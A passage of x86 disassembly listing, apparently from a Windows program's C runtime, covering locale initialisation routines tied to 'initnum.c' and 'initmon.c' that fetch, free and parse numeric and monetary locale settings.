		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	37h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 20h
		push	edx
		push	2Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	2Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	2Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	2Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 30h
		push	edx
		push	2Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 34h
		push	edx
		push	2Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	30h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 38h
		push	edx
		push	44h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 3Ch
		push	edx
		push	45h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		push	46h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 44h
		push	edx
		push	47h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 48h
		push	edx
		push	48h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 4Ch
		push	edx
		push	49h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 50h
		push	edx
		push	4Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 54h
		push	edx
		push	4Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 58h
		push	edx
		push	4Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 5Ch
		push	edx
		push	4Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 60h
		push	edx
		push	4Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 64h
		push	edx
		push	4Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 68h
		push	edx
		push	38h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 6Ch
		push	edx
		push	39h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 70h
		push	edx
		push	3Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 74h
		push	edx
		push	3Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 78h
		push	edx
		push	3Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 7Ch
		push	edx
		push	3Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		push	3Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 84h
		push	edx
		push	3Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 88h
		push	edx
		push	40h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8Ch
		push	edx
		push	41h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 90h
		push	edx
		push	42h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 94h
		push	edx
		push	43h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 98h
		push	edx
		push	28h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 9Ch
		push	edx
		push	29h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A0h
		push	edx
		push	1Fh
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A4h
		push	edx
		push	20h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A8h
		push	edx
		push	1003h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]


loc_42AF3B:				; CODE XREF: sub_42A9B0+2Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_42A9B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AF40	proc near		; CODE XREF: sub_42A8D0+50p
					; sub_42A8D0+7Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_42AF4E
		jmp	loc_42B249
; ---------------------------------------------------------------------------


loc_42AF4E:				; CODE XREF: sub_42AF40+7j
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+38h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+40h]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+44h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+48h]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4Ch]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+50h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+54h]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+58h]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+5Ch]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+64h]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+68h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+6Ch]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+70h]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+74h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+78h]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+7Ch]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+80h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+84h]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+88h]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8Ch]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+90h]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+94h]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+98h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0A4h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0A8h]
		push	ecx
		call	sub_415860
		add	esp, 8


loc_42B249:				; CODE XREF: sub_42AF40+9j
		pop	ebp
		retn
sub_42AF40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B250	proc near		; DATA XREF: ___:004443B8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, word_4DB3FE
		mov	[ebp+var_4], eax
		cmp	dword_4DB1C0, 0
		jz	loc_42B3CA
		push	offset dword_4DB3CC
		push	0Eh
		mov	ecx, [ebp+var_4]
		push	ecx
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	edx, [ebp+var_8]
		or	edx, eax
		mov	[ebp+var_8], edx
		push	offset dword_4DB3D0
		push	0Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		push	offset dword_4DB3D4
		push	10h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, dword_4DB3D4
		push	edx
		call	sub_42B500
		add	esp, 4
		cmp	[ebp+var_8], 0
		jz	short loc_42B339
		push	2
		mov	eax, dword_4DB3CC
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, dword_4DB3D0
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, dword_4DB3D4
		push	edx
		call	sub_415860
		add	esp, 8
		mov	dword_4DB3CC, 0
		mov	dword_4DB3D0, 0
		mov	dword_4DB3D4, 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42B4F2
; ---------------------------------------------------------------------------


loc_42B339:				; CODE XREF: sub_42B250+8Fj
		mov	eax, off_444E98
		cmp	dword ptr [eax], offset	dword_444E60
		jz	short loc_42B380
		push	2
		mov	ecx, off_444E98
		mov	edx, [ecx]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, off_444E98
		mov	ecx, [eax+4]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, off_444E98
		mov	eax, [edx+8]
		push	eax
		call	sub_415860
		add	esp, 8


loc_42B380:				; CODE XREF: sub_42B250+F4j
		mov	ecx, off_444E98
		mov	edx, dword_4DB3CC
		mov	[ecx], edx
		mov	eax, off_444E98
		mov	ecx, dword_4DB3D0
		mov	[eax+4], ecx
		mov	edx, off_444E98
		mov	eax, dword_4DB3D4
		mov	[edx+8], eax
		mov	ecx, off_444E98
		mov	edx, [ecx]
		mov	al, [edx]
		mov	byte_443B74, al
		mov	dword_443B78, 1
		xor	eax, eax
		jmp	loc_42B4F2
; ---------------------------------------------------------------------------


loc_42B3CA:				; CODE XREF: sub_42B250+1Fj
		push	2
		mov	ecx, dword_4DB3CC
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, dword_4DB3D0
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, dword_4DB3D4
		push	eax
		call	sub_415860
		add	esp, 8
		mov	dword_4DB3CC, 0
		mov	dword_4DB3D0, 0
		mov	dword_4DB3D4, 0
		push	88h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_414DD0
		add	esp, 10h
		mov	ecx, off_444E98
		mov	[ecx], eax
		mov	edx, off_444E98
		cmp	dword ptr [edx], 0
		jnz	short loc_42B44B
		or	eax, 0FFFFFFFFh
		jmp	loc_42B4F2
; ---------------------------------------------------------------------------


loc_42B44B:				; CODE XREF: sub_42B250+1F1j
		push	offset a__1	; "."
		mov	eax, off_444E98
		mov	ecx, [eax]
		push	ecx
		call	sub_4184C0
		add	esp, 8
		push	8Dh
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_414DD0
		add	esp, 10h
		mov	edx, off_444E98
		mov	[edx+4], eax
		mov	eax, off_444E98
		cmp	dword ptr [eax+4], 0
		jnz	short loc_42B48F
		or	eax, 0FFFFFFFFh
		jmp	short loc_42B4F2
; ---------------------------------------------------------------------------


loc_42B48F:				; CODE XREF: sub_42B250+238j
		mov	ecx, off_444E98
		mov	edx, [ecx+4]
		mov	byte ptr [edx],	0
		push	92h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_414DD0
		add	esp, 10h
		mov	ecx, off_444E98
		mov	[ecx+8], eax
		mov	edx, off_444E98
		cmp	dword ptr [edx+8], 0
		jnz	short loc_42B4CB
		or	eax, 0FFFFFFFFh
		jmp	short loc_42B4F2
; ---------------------------------------------------------------------------


loc_42B4CB:				; CODE XREF: sub_42B250+274j
		mov	eax, off_444E98
		mov	ecx, [eax+8]
		mov	byte ptr [ecx],	0
		mov	edx, off_444E98
		mov	eax, [edx]
		mov	cl, [eax]
		mov	byte_443B74, cl
		mov	dword_443B78, 1
		xor	eax, eax


loc_42B4F2:				; CODE XREF: sub_42B250+E4j
					; sub_42B250+175j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42B250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B500	proc near		; CODE XREF: sub_42B250+83p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_42B504:				; CODE XREF: sub_42B500:loc_42B577j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42B579
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_42B53D
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_42B53D
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_42B577
; ---------------------------------------------------------------------------


loc_42B53D:				; CODE XREF: sub_42B500+17j
					; sub_42B500+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_42B56E
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_42B54E:				; CODE XREF: sub_42B500+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_42B54E
		jmp	short loc_42B577
; ---------------------------------------------------------------------------


loc_42B56E:				; CODE XREF: sub_42B500+46j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_42B577:				; CODE XREF: sub_42B500+3Bj
					; sub_42B500+6Cj
		jmp	short loc_42B504
; ---------------------------------------------------------------------------


loc_42B579:				; CODE XREF: sub_42B500+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42B500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B580	proc near		; DATA XREF: ___:004443ACo

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB1BC, 0
		jz	loc_42B64C
		push	4Ah
		push	offset aInitmon_c ; "initmon.c"
		push	2
		push	30h
		push	1
		call	sub_4151E0
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42B5B9
		mov	eax, 1
		jmp	loc_42B6AC
; ---------------------------------------------------------------------------


loc_42B5B9:				; CODE XREF: sub_42B580+2Dj
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42B6B0
		add	esp, 4
		test	eax, eax
		jz	short loc_42B5ED
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42B940
		add	esp, 4
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_415860
		add	esp, 8
		mov	eax, 1
		jmp	loc_42B6AC
; ---------------------------------------------------------------------------


loc_42B5ED:				; CODE XREF: sub_42B580+47j
		mov	eax, [ebp+var_4]
		mov	ecx, off_444E98
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	ecx, off_444E98
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	ecx, off_444E98
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_4]
		mov	off_444E98, eax
		mov	ecx, dword_4DB3D8
		push	ecx
		call	sub_42B940
		add	esp, 4
		push	2
		mov	edx, dword_4DB3D8
		push	edx
		call	sub_415860
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	dword_4DB3D8, eax
		xor	eax, eax
		jmp	short loc_42B6AC
; ---------------------------------------------------------------------------


loc_42B64C:				; CODE XREF: sub_42B580+Bj
		mov	ecx, off_444E98
		mov	edx, [ecx]
		mov	off_444E68, edx
		mov	eax, off_444E98
		mov	ecx, [eax+4]
		mov	off_444E6C, ecx
		mov	edx, off_444E98
		mov	eax, [edx+8]
		mov	off_444E70, eax
		mov	off_444E98, offset off_444E68
		mov	ecx, dword_4DB3D8
		push	ecx
		call	sub_42B940
		add	esp, 4
		push	2
		mov	edx, dword_4DB3D8
		push	edx
		call	sub_415860
		add	esp, 8
		mov	dword_4DB3D8, 0
		xor	eax, eax


loc_42B6AC:				; CODE XREF: sub_42B580+34j
					; sub_42B580+68j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42B580	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B6B0	proc near		; CODE XREF: sub_42B580+3Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, word_4DB3F8
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_42B6D6
		or	eax, 0FFFFFFFFh
		jmp	loc_42B8B9
; ---------------------------------------------------------------------------


loc_42B6D6:				; CODE XREF: sub_42B6B0+1Cj
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		push	15h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	14h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	16h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	17h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	18h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_42B8C0
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		push	50h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	51h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	1Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 29h
		push	edx
		push	19h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ah
		push	edx
		push	54h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Bh
		push	edx
		push	55h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	56h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
